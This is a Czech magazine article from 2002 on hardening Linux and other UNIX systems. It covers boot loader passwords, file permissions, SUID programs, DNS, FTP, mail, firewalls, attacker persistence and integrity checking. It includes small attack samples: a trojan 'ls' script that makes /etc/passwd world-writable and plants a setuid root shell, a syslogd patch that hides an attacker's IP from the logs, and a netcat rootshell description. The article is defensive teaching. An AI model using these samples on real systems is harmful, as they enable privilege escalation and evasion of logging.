Ochraňte si svůj operační systém - díl třetí - Linux

1. 7. 2002

Sdílet

Ve třetím dílu seriálu o bezpečnosti jednotlivých operačních systémů sepodíváme na systémy, na kterých běží operační systém UNIX. Vzhledem k rozšířenosti a popularitě operač...
Ve třetím dílu seriálu o bezpečnosti jednotlivých operačních systémů se
podíváme na systémy, na kterých běží operační systém UNIX. Vzhledem k
rozšířenosti a popularitě operačního systému Linux se budeme zaměřovat převážně
na něj, přičemž platí, že to, co je použitelné na Linuxu, by mělo být až na
malé výjimky použitelné na jakémkoliv jiném UNIXu. Jako tradičně si systém
nejdříve charakterizujeme a podíváme se na to, jak se chová v síťovém
prostředí. Jelikož je tento článek určen uživatelům UNIXu, nebudeme v
charakteristice zacházet příliš do podrobností, neboť se předpokládá, že tyto
základy jsou všem uživatelům důvěrně známy.


Charakteristika

Historie UNIXu je poměrně dlouhá. Byl vyvinut v laboratořích společnosti AT&T.
UNIX byl od začátku vyvíjen jako víceuživatelský a víceúlohový systém. Jeho
filosofie byla založena na malých programech, které dělají jen jednu věc, ale
dělají ji dobře. Teprve spojení těchto programů dává operačnímu systému UNIX tu
pravou sílu. Zde je rozdíl mezi UNIXem a některými ostatními operačními
systémy, jež obsahují málo programů, které se však snaží dělat co nejvíce.
Výsledek ať posoudí každý sám. Další důležitou vlastností každého operačního
systému je jeho chování v síti. UNIX je v sítích jako ryba ve vodě, neboť
většina služeb a protokolů, se kterými přicházíme dnes a denně do styku
(e-mail, web atd.), byla vyvinuta právě na UNIXu. Protokol TCP/IP je primárním
protokolem internetu a zároveň primárním protokolem UNIXu. UNIX však zdaleka
nepodporuje jen protokol TCP/IP, ale můžeme nalézt podporu mnoha protokolů jako
například Novell IPX, Microsoft SMB/CIFS a řady dalších. Nejrozšířenější a
nejoblíbenější verzí UNIXu je BSD UNIX (Berkley Software Distribution). Mezi
nejznámější představitele BSD UNIXu patří bezesporu FreeBSD, OpenBSD a další.
Existují ještě další verze UNIXu, jako například Sun Solaris, HP-UX, Irix. V
posledních letech se stále více tlačí do popředí systém Linux. Linux je
operační systém vystavěný na unixových základech. Mnoho věcí však řeší vlastním
způsobem a přidává spoustu vlastních funkcí, nástrojů a implementací. Linux je
dnes bezesporu nejpopulárnější operační systém vystavěný na unixových
základech. Nyní si podíváme na lokální útoky na operační systém. Půjde tedy o
útoky, které nás mohou ohrozit, pokud má útočník k systému fyzický přístup nebo
má na našem systému zřízen uživatelský účet.


Lokální útoky

První problém nastává již po startu systému. BIOS a jeho zabezpečení jsme
probrali již v prvním dílu našeho seriálu. Rovněž jsme mluvili o zavaděči
operačního systému (XOSL). Většina distribucí Linuxu však obsahuje vlastní
zavaděč, a proto se ně podíváme podrobněji. Nejznámější jsou zavaděče lilo
(Linux Loader) a Grub. Ostatní unixové systémy obsahují většinou vlastní
zavaděče. Pokud nějaký takový používáte, podívejte se do manuálových stránek.
My se budeme věnovat zavaděči LILO.


Lilo

Jak již bylo řečeno, je LILO součástí většiny moderních distribucí Linuxu (Red
Hat, Mandrake, Suse a další). Pokročilé zavaděče, jakým LILO bezesporu je,
obsahují i různé možnosti. Lze systémy spustit z různých médií, s různými
parametry. A zde se nachází kámen úrazu. Pokud někdo restartuje náš systém, a
podaří se mu systém spustit v jednouživatelském režimu (linux single, runlevel
1), získá tak nad naším systémem plnou kontrolu. Jistě si říkáte, že by nebylo
špatně mu v tom zabránit. Lze to provést celkem snadno. Bohužel ale výsledný
efekt bude stejně nepříliš efektivní, nicméně je to dobrý začátek. Konfigurační
soubor programu se nachází v /etc/lilo.conf. Tento soubor má mnoho voleb a
možností, pomocí nichž se zavaděč konfiguruje. Nejsou-li vám některé volby
jasné, nahlédněte do manuálových stránek (man lilo.conf). Pro nás jsou z
hlediska bezpečnosti nejdůležitější položky password a restricted. Pokud
přidáte do svého konfiguračního souboru položku restricted, bude LILO vyžadovat
zadání hesla. Pouze však v případech, kdy se pokusí někdo při startu zadat
parametry spuštění, tedy například linux single. Položka password pak obsahuje
vlastní heslo. Následuje ukázka takovýchto položek:

restricted
password=moje_heslo

Pokud se nyní někdo pokusí spustit režim v jednouživatelském režimu, bude po
něm vyžadováno heslo. Jelikož obsahuje soubor lilo.conf nezašifrované heslo,
změňte jeho přístupová práva tak, aby byl čitelný jen pro uživatele root (chmod
600 lilo.conf). Jelikož již z prvního článku víme, že BIOS nelze jednoduše
zabezpečit, nezabráníme tím nikomu, aby nezměnil pořadí bootovací sekvence a
nespustil tak systém z diskety. Proto je zabezpečení lila dobrou věcí, ale ve
své podstatě nic neřeší. Pojďme se tedy podívat na situaci, kdy útočník nemá
fyzický přístup k systému, ale má na něm zřízen legitimní uživatelský účet.


Přístupová práva

V UNIXu se vše točí kolem přístupových práv, uživatelů a skupin. Proto také
vznikají na tomto místě největší problémy. Každý uživatel je jasně definován
svým UID, skupina pak GID. Jeden uživatel může být členem několika skupin.
Zároveň také každý soubor, adresář a zařízení obsahují informace o vlastníkovi
a přístupová práva každého uživatele. Většina distribucí má ve výchozí
konfiguraci nastavena přístupová práva správně, ale některé systémy jsou až
příliš benevolentní. Důležitá jsou přístupová práva zejména u citlivých
konfiguračních souborů a u programů, které obsahují SUID uživatele root (viz
dále). Nyní se podíváme na citlivé konfigurační soubory.


Hesla

Hesla k uživatelským a systémovým účtům jsou na většině UNIXů uložena v souboru
/etc/passwd. Jsou zde uvedeny informace o uživatelově jméně, UID, domovském
adresáři a výchozím interpretu příkazů. V neposlední řadě obsahuje tento soubor
také zašifrovaná hesla. Soubor je čitelný pro všechny uživatele, a proto je
třeba používat silná hesla. Přesto se najdou jedinci, kteří si zvolí špatné
heslo, a umožní tak útok na váš systém. Jednodušší, než nutit uživatele stále
dokola poučovat, jak má silné heslo vypadat, je použít stínových hesel. Většina
distribucí Linuxu tak činí. Při použití stínových hesel nejsou v souboru
/etc/passwd uložena hesla. Místo hesla je jen zástupný znak. Všechna hesla jsou
pak uložena v souboru /etc/shadow. Tento soubor je čitelný pouze pro
superuživatele. A nyní se podíváme na zranitelná místa. Několikrát jsem se
setkal s případem, kdy měl soubor /etc/passwd nastavena práva pro zápis všem
uživatelům (666). Jelikož většina (všechny?) distribucí tento soubor chrání a
nedovoluje do něj zapisovat nikomu kromě uživatele root, musela být tato práva
změněna správcem systému. Samozřejmě, že soubor mohl změnit i nějaký útočník,
který se k právům superuživatele dostal jinou cestou, ale ten by nejspíš nebyl
tak hloupý, aby tato práva nechal nastavena právě takovým způsobem. Pokud ale
některý správce takovýmto způsobem změní svůj soubor, neměl by mít na svém
místě co dělat. Kdokoliv, kdo má zřízen uživatelský účet, se tak bez sebemenší
námahy může stát superuživatelem a ovládnout tak celý systém. Stačí změnit UID
jakéhokoliv uživatele na 0 (UID root). Proto by měl mít možnost zapisovat do
tohoto souboru jen root. U souboru shadow je situace poněkud jiná. Zde ani
nemusí být umožněn zápis komukoliv, stačí, že soubor bude mít možnost číst
kdokoliv. Pro útočníka pak není vůbec žádný problém soubor vypsat a pustit se
do prolamování hesel. Jsou však i jiné konfigurační soubory, které by neměl
spatřit běžný uživatel, natož aby do nich mohl zapisovat. Tyto systémy se liší
podle toho, jaké programy používáte. Pokud si myslíte, že by znalost souboru
prospěla útočníkovi, změňte jeho práva. Pozor ale, abyste neznemožnili funkci
některých programů. Důležité je rovněž sledovat, zdali nedochází k modifikaci
těchto souborů. Jak to provedete, si povíme ke konci článku. Nyní se podíváme
na další problém, specifický pro UNIX, a tím jsou SUID programy.


SUID programy

Každý z uživatelů potřebuje občas provést operaci (spustit program), ke které
nemá příslušná oprávnění. Příkladem může být změna hesla. Uživatel normálně
nemůže číst soubor /etc/shadow, natož do něj zapisovat. Ke změně hesla to však
je zapotřebí. Tento problém se řeší zavedením takzvaného SUID bitu. Tento bit
umožňuje uživatelům spouštět program pod UID vlastníka programu. Představte si,
kdyby byla změněna práva programu /bin/sh takovýmto způsobem: chmod 4777
/bin/sh. Kdokoliv by pak mohl takovýto program spouštět a provádět operace pod
UID uživatele root. Následky jsou smrtelné. Proto je třeba všechny takovéto
programy pečlivě sledovat a hlídat jejich přístupová práva. Rovněž je třeba
dávat pozor na to, zdali takovéto programy v systému nepřibývají. Všechny SUID
programy vyhledáte následujícím příkazem: find / \(perm 004000 -o -perm 02000)
-type f -print. Je vhodné vyvést seznam takovýchto programů do souboru a občas
provádět kontrolu (příkazem dd), zdali nějaké programy nepřibyly. U SGID
programů je situace analogická, pouze se zde operuje s ID skupiny.


Proměnná PATH

Stokrát omílaný problém, nicméně jeden z dosti rozšířených. Pokud máte v
proměnné PATH nastavenu jako výchozí položku aktuální adresář (.), ihned jej
odstraňte. Útočníkovi by pak stačilo vyrobit nástrahu, a čekat až se do ní
chytíte. Nástraha by mohla vypadat následovně:

#!/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1; then
cp /bin/sh/tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"

Tento skript by stačilo umístit do libovolného adresáře, do kterého má útočník
povolen zápis, pojmenovat ho ls a čekat, až bude superuživatel chtít zobrazit
obsah tohoto adresáře. Místo očekávaného příkazu /bin/ls se spustí skript
nazvaný ls z aktuálního adresáře a vytvoří kopii shellu v adresáři tmp, s
nastaveným SUID uživatele root. Výsledkem je převzetí superuživatelských práv
útočníkem. Pokud tedy vyvíjíte programy nebo píšete shellové skripty, nebuďte
líní a spouštějte je pomocí ./skript, a ne pomocí nastavení proměnné PATH na
aktuální adresář. Nebereme teď v potaz, že skripty a programy byste neměli v
žádném případě vytvářet jako uživatel root.


Hesla na příkazové řádce

Obloukem se vyhněte zadávání hesel na příkazové řádce. Typickým příkladem může
být mysqladmin -u root password moje_heslo. Útočníkovi stačí přečíst si váš
soubor .bash_history, který bývá většinou určen pro čtení, a hned má
superuživatelský přístup k databázi MySQL.


Programové chyby

Často se v nějakém programu vyskytne problém s přetečením paměti. Pokud jde o
program, který běží pod uživatelem root, může vést tato chyba až ke
kompromitaci celého systému. Princip zneužití této chyby je celkem jednoduchý.
Útočník může studovat zdrojový kód programu a najít si místo, které obsahuje
chybu. Většinou jde o místa, jež očekávají nějaký vstup. Útočník z kódu pozná,
s jakou oblastí paměti program pracuje, a pošle mu přesně specifikovaný
řetězec, který donutí provést program operaci, kterou původně vůbec provést
neměl. Může jít například o přidání jednoho řádku do souboru /etc/passwd
(shadow) nebo o kopírování shellu a změně přístupových práv (viz výše). Obrana
proti tomuto druhu chyb je jednoduchá (pokud tedy podobné programy nevyvíjíte)
a spočívá v aplikaci všech záplat vydaných výrobcem. Každý distributor (Red
Hat, Mandrake, Suse, Slackware) uveřejňuje na svých stránkách pravidelné opravy
a aktualizace.


Síťové útoky

Síťových útoků na systém je rovněž velké množství a k některým z nich se v
budoucnu ještě vrátíme. Nyní se podíváme na ty nejznámější a nejčastější. Možná
se ptáte, zdali jsou takovéto útoky častější než ty lokální. Na tuto otázku
není snadné odpovědět. Statistiky jasně říkají, že většina útoků pochází
zevnitř, ale je třeba také připomenout, že v momentě, kdy se podaří útočníkovi
získat přístup do systému, stává se jeho útok lokálním, i kdyby se v ten moment
nacházel na druhé straně zeměkoule.


Útoky na DNS

Útoky na DNS lze v podstatě rozdělit na dvě skupiny. První skupinou nejsou ani
tak útoky, jako spíše využití DNS serveru pro získání citlivých informací o
konfiguraci sítě a o jednotlivých počítačích v ní umístěných. Všechny tyto
informace se motají okolo přenosu DNS zóny. Pokud nemáte přenos zóny zakázán,
může se kdokoliv k vašemu systému připojit a doslova z něj vysávat informace o
vaší síti a doménách. Přenosu DNS zóny zamezíte přidáním následujících řádků do
vašeho konfiguračního souboru (nejčastěji /etc/named.conf):

options {
allow-transfer { 192.168.1.2; } ;
}

Poté nezapomeňte zakázat stejných způsobem přenos zóny i u sekundárního DNS
serveru. Přístup k DNS serveru lze samozřejmě specifikovat pomocí firewallu.
Připomeňme, že DNS server naslouchá na portu 53 a využívá protokolu UDP. Dalším
typem útoku na DNS server je takzvaná otrava cache vašeho DNS serveru. Princip
tohoto útoku je následující. Cílovému DNS serveru jsou odesílány záměrně
zfalšované informace, které většinou směrují provoz na server, jež útočník
ovládá. Tento, útočníkem ovládaný server může směrovat provoz dále, například
ke skutečnému cíli, jen s tím rozdílem, že si zaznamenává všechna uživatelská
jména a hesla. Většina nových verzí BIND serveru již má tuto chybu opravenu.
Pokud používáte některou ze starších verzí, okamžitě upgradujte.
Nejrozšířenějším druhem útoku na DNS servery je takzvaný DNS spoofing. Pro
tento typ útoku je zapotřebí speciálního snifferu, který zachytává požadavky
typu PTR a A a odpovídá na ně způsobem, jejž definuje útočník. Jelikož jsou
dotazy na DNS server vedeny pomocí datagramů UDP, je jejich falšování velmi
jednoduché. Cílem je tedy opět podvržení DNS odpovědi a přesměrování na jiný
systém. Obrana proti DNS spoofingu není jednoduchá. Účinná obrana spočívá v
dobrém zabezpečení sítě a ve správném nastavení firewallu.


NFS

NFS (Network File System) je služba, která umožňuje sdílení dat mezi unixovými
systémy. Tato služba má za sebou bohatou historii bezpečnostních problémů.
Pokud se exportují pouze adresáře, ve kterých nejsou uloženy citlivé soubory či
programy, změníte výchozí kořenový adresář (chroot) a máte dobře definována
přístupová práva a nastaven firewall, můžete být celkem v klidu. V opačném
případě vám doporučujeme poohlédnout se po jiné alternativě, jako například scp
v rámci SSH.


FTP

Protokol FTP je druhým nejpoužívanějším protokolem internetu. Existují tisíce
FTP serverů, které nabízejí nejrůznější data. Bohužel i FTP trpí a trpělo
vážnými bezpečnostním problémy. První problém vzniká již v procesu přihlášení
se k FTP serveru, neboť protokol FTP nepoužívá šifrování a posílá po síti hesla
v otevřené podobě. Proto vždy zvolte pro přístup k FTP jiné heslo, než jaké
používáte k přihlášení do systému. Další nebezpečí se týká takzvaného odrážení
(bouncing). Pomocí FTP serveru, na kterém je umožněno útočníkovi číst i
zapisovat data (typicky anonymní FTP server), může dojít k situaci, kdy útočník
bude přes tento server skenovat porty jiného systému, stahovat data z jiného
systému a mnoho dalších činností, z nichž většinu správců rozbolí hlava.
Vystopování útočníka je ve většině případů obtížné, ne-li nemožné. Bounce scan
umí například i nmap. Další problémy FTP se týkají aktivních a pasivních
režimů. Každý z těchto režimů má svá plus, ale i svá mínus. Problémy se týkají
únosů relací, jejich shození atd. Pokud to tedy opravdu není nezbytně nutné,
vyhněte se používání FTP. Jste-li v situaci, že nevidíte žádné řešení,
definujte správně přístupová práva, firewall, použijte chroot a hlavně na
server nevystavujte žádná citlivá data.


Pošta

Elektronická pošta je dalším místem, na které se může případný útočník pokusit
zaútočit. Možností má několik. Může například poštu zneužít k oklamání
uživatelů, k rozesílání spamu, hoaxu atd. Další problém tkví, podobně jako u
FTP, v přenosu hesel po síti. Protokoly využívané el. poštou (SMTP, POP)
posílají data po sítí nešifrovaná, proto si může útočník pomocí vhodně
umístěného snifferu číst nejen hesla, ale i obsah vaší korespondence. Řešení
spočívá opět v použití šifrování. Na místě je využití programů jako PGP či
GnuPG. Místo obyčejného POP použijte raději jiný server, který autorizaci
podporuje (APOP).


Open Relay

Na světě stále existují takzvané OpenRelays servery, což jsou servery, které
umožňují napojení a odesílání pošty komukoliv. Je to velmi prosté. Stačí se
pomocí telnetu napojit na cílový server a zprávu jednoduše odeslat. Pro spamery
pravý ráj. Většina dnešních serverů již však volné odesílání nepodporuje (ve
výchozí konfiguraci).


Firewall

Firewall je dobrým řešením, ale není samospasitelný. Bohužel i ten lze oklamat.
Firewallům se budeme ještě v budoucnu věnovat, proto si zde uveďme jen základy.
Pro firewall by měla platit stará dobrá zásada, která říká, že co není
povoleno, je zakázáno. Z praxe mohu potvrdit, že je toto řešení mnohem
účinnější než přístup typu: co není zakázáno, je povoleno. Tímto pravidlem se
zkuste řídit i při tvorbě firewallu. Nejdříve zakažte úplně vše, a nechte si
logovat všechny pokusy. Z výsledků se pak rozhodněte, co povolíte.


Udržování přístupu

Pokud se nějakým způsobem podařilo útočníkovi dostat do vašeho systému, bude si
chtít zřejmě přístup udržet. Má k tomu několik možností. Některé jsou poměrně
primitivní, nicméně velmi často používané a úspěšné. Příkladem může být
například modifikace souboru /etc/hosts.allow (případně hosts.deny). Tím je
posléze útočníkovi umožněn přístup z libovolného systému, který je definován ve
zmíněných souborech. Takovýto způsob udržování přístupu je však velmi
primitivní a odhalila by jej i pouhá vizuální kontrola souboru. Další poměrně
primitivní způsob zachování přístupu je modifikace souboru /etc/passwd
(shadow). Stačí změnit UID jakéhokoliv uživatele na 0. Nicméně i takováto
úprava je lehce odhalitelná. Útočník bude muset sáhnout po jiných, ne tak
okatých metodách. Velice častým trikem je vytvoření kopie superuživatelského
shellu v nějakém (hlubokém, skrytém a nesmyslně pojmenovaném) adresáři.
Takovéto soubory jsou však také celkem snadno odhalitelné (viz příklad výše).
Dalším způsobem, jakým si bude chtít útočník udržet přístup, je modifikace
souborů, které se starají o vzdálené přihlašování. Příkladem mohou být r*
soubory, nebo novější ssh soubory. Proto tyto soubory důkladně kontrolujte. Jak
kontrolu zautomatizovat, si povíme za chvíli. Oblíbeným trikem útočníků je
vytvořený takzvaného rootshellu. Jde o spuštění démona, který naslouchá na
určitém portu a umožňuje útočníkovi (ne)autorizovaný superuživatelský přístup
do systému. Vytvoření rootshellu není nikterak složité. Stačí spustit příslušný
program a modifikovat soubor inetd.conf (xinetd.conf). Oblíbeným programem,
který se používá k vytvoření rootshellu, je netcat. Zjištění rootshellu je
možné pomocí skenování portů vlastního systému. Pokud se vám ve výpisu objeví,
že na portu 14999 naslouchá nějaká služba, víte, že máte problém. Většinu výše
uvedených postupů lze celkem snadno odhalit. K jejich zjištění stačí běžná
prohlídka systému. Existují však i mnohem propracovanější metody, pomocí nichž
si může útočník udržet přístup k systému, navíc je jejich odhalení mnohdy
obtížné.

Většina aktivit v systému za sebou zanechává nějaké stopy. Pokud se přihlásíte
do systému, je o tom systémový logger informován a tuto informaci zaznamená do
souboru. Zaznamenávat lze téměř jakékoliv události. Útočníkovým přáním tedy
nejspíše bude, aby po něm žádné stopy nezůstaly. Možností má několik. Může
začít prostým editováním logovacích souborů. To je velmi pracné a ne zcela
elegantní řešení. Daleko efektivnější je nějakým způsobem donutit systém, aby
útočníkovy aktivity vůbec nezaznamenával. To lze provést například úpravou
samotného logovacího démona syslogd. Do zdrojového souboru syslogd.c stačí
přidat řádky podobné následujícím a veškeré aktivity, v nichž se vyskytují
údaje o IP adrese útočníka, nebudou zaznamenány. Variant jsou desítky.

if(strstr(msg, "192.168.1.111"))
return;

Dalším problémem, s nímž se bude muset útočník potýkat, jsou procesy a jejich
výpisy. Příkazem ps -aux vypíšete všechny běžící procesy na vašem systému.
Útočníkovi by se jistě nelíbilo, kdyby se mezi nimi vyskytoval proces typu
Password_Cracker, Rootshell atd. Většina útočníků může název svého procesu
změnit libovolně, ale zkušený správce z výpisu pozná, který proces ve výpisu
nemá co dělat. Cesta ke skrytí takových procesů vede opět přes změnu programu
ps. Ale i proti takovýmto změnám se lze bránit. Především je třeba sledovat
integritu citlivých souborů a nastavit systém tak, aby při každé změně
důležitých souborů okamžitě spustil alarm. Řešením může být některý z nástrojů,
který kontroluje integritu souborů, jako je například Tripwire, AIDE a další.
Tyto programy nainstalujte na "čistém" systému a výsledky uložte na nějaké
bezpečné médium (CD-R). Důležité je integritu souborového systému pravidelně
spouštět (cron) a porovnávat výsledky. Pozor ale, aby se útočníkovi nepodařilo
modifikovat i samotný program na kontrolu integrity.


Jádro

Útoky na jádro systému jsou těmi nesložitějšími, zároveň však nejúčinnějšími.
Útočník může jádro modifikovat různými způsoby. Může do jádra nahrávat vlastní
moduly, může také změnit kód samotného jádra a přizpůsobit ho vlastním
potřebám. Pokud modifikuje jádro dostatečně chytrým způsobem, nemáte proti
útočníkovi žádnou šanci. Jelikož je jádro nataženo při startu systému a nelze
jej modifikovat za běhu, je dobré mít vytvořenu záchranou disketu (z čistého
systému) s obrazem jádra a zavést systém z této diskety. Poté můžete připojit
souborové systémy a zjistit, jakým způsobem byly modifikovány.


Závěrem

Zabezpečit unixový systém je poměrně složité. V poslední době naštěstí systémy
obsahují čím dál měně chyb. Rovněž bezpečnost systému ve výchozí situaci se
velmi zlepšila, proto pokud máme takto nakonfigurovaný systém, můžeme být
celkem v klidu. Je jen třeba pravidelně aplikovat všechny záplaty. Pokud si ale
se svým systémem začneme "hrát" a experimentovat, má to značný vliv na
bezpečnost systému. Jediným možným řešením je absolutní znalost systému a jeho
principů. Pokud přesně víte, co děláte, jak na to systém reaguje, jak se chová
atd., máte celkem slušné předpoklady k dobrému zabezpečení. Situace je podobná
i na straně útočníků. Čím schopnější je útočník, tím větší musí mít znalosti a
schopnosti. Počítačová bezpečnost není o stahování magických utilit nebo psaní
tajných příkazů. Počítačová bezpečnost je především o znalostech a
schopnostech. Čím více máte znalostí, tím větší je předpoklad, že svůj systém
ochráníte.


Všechny vaše rady, náměty na další články nebo seriál, názory a prosby opět rád
uvítám na adrese igm@centrum.cz.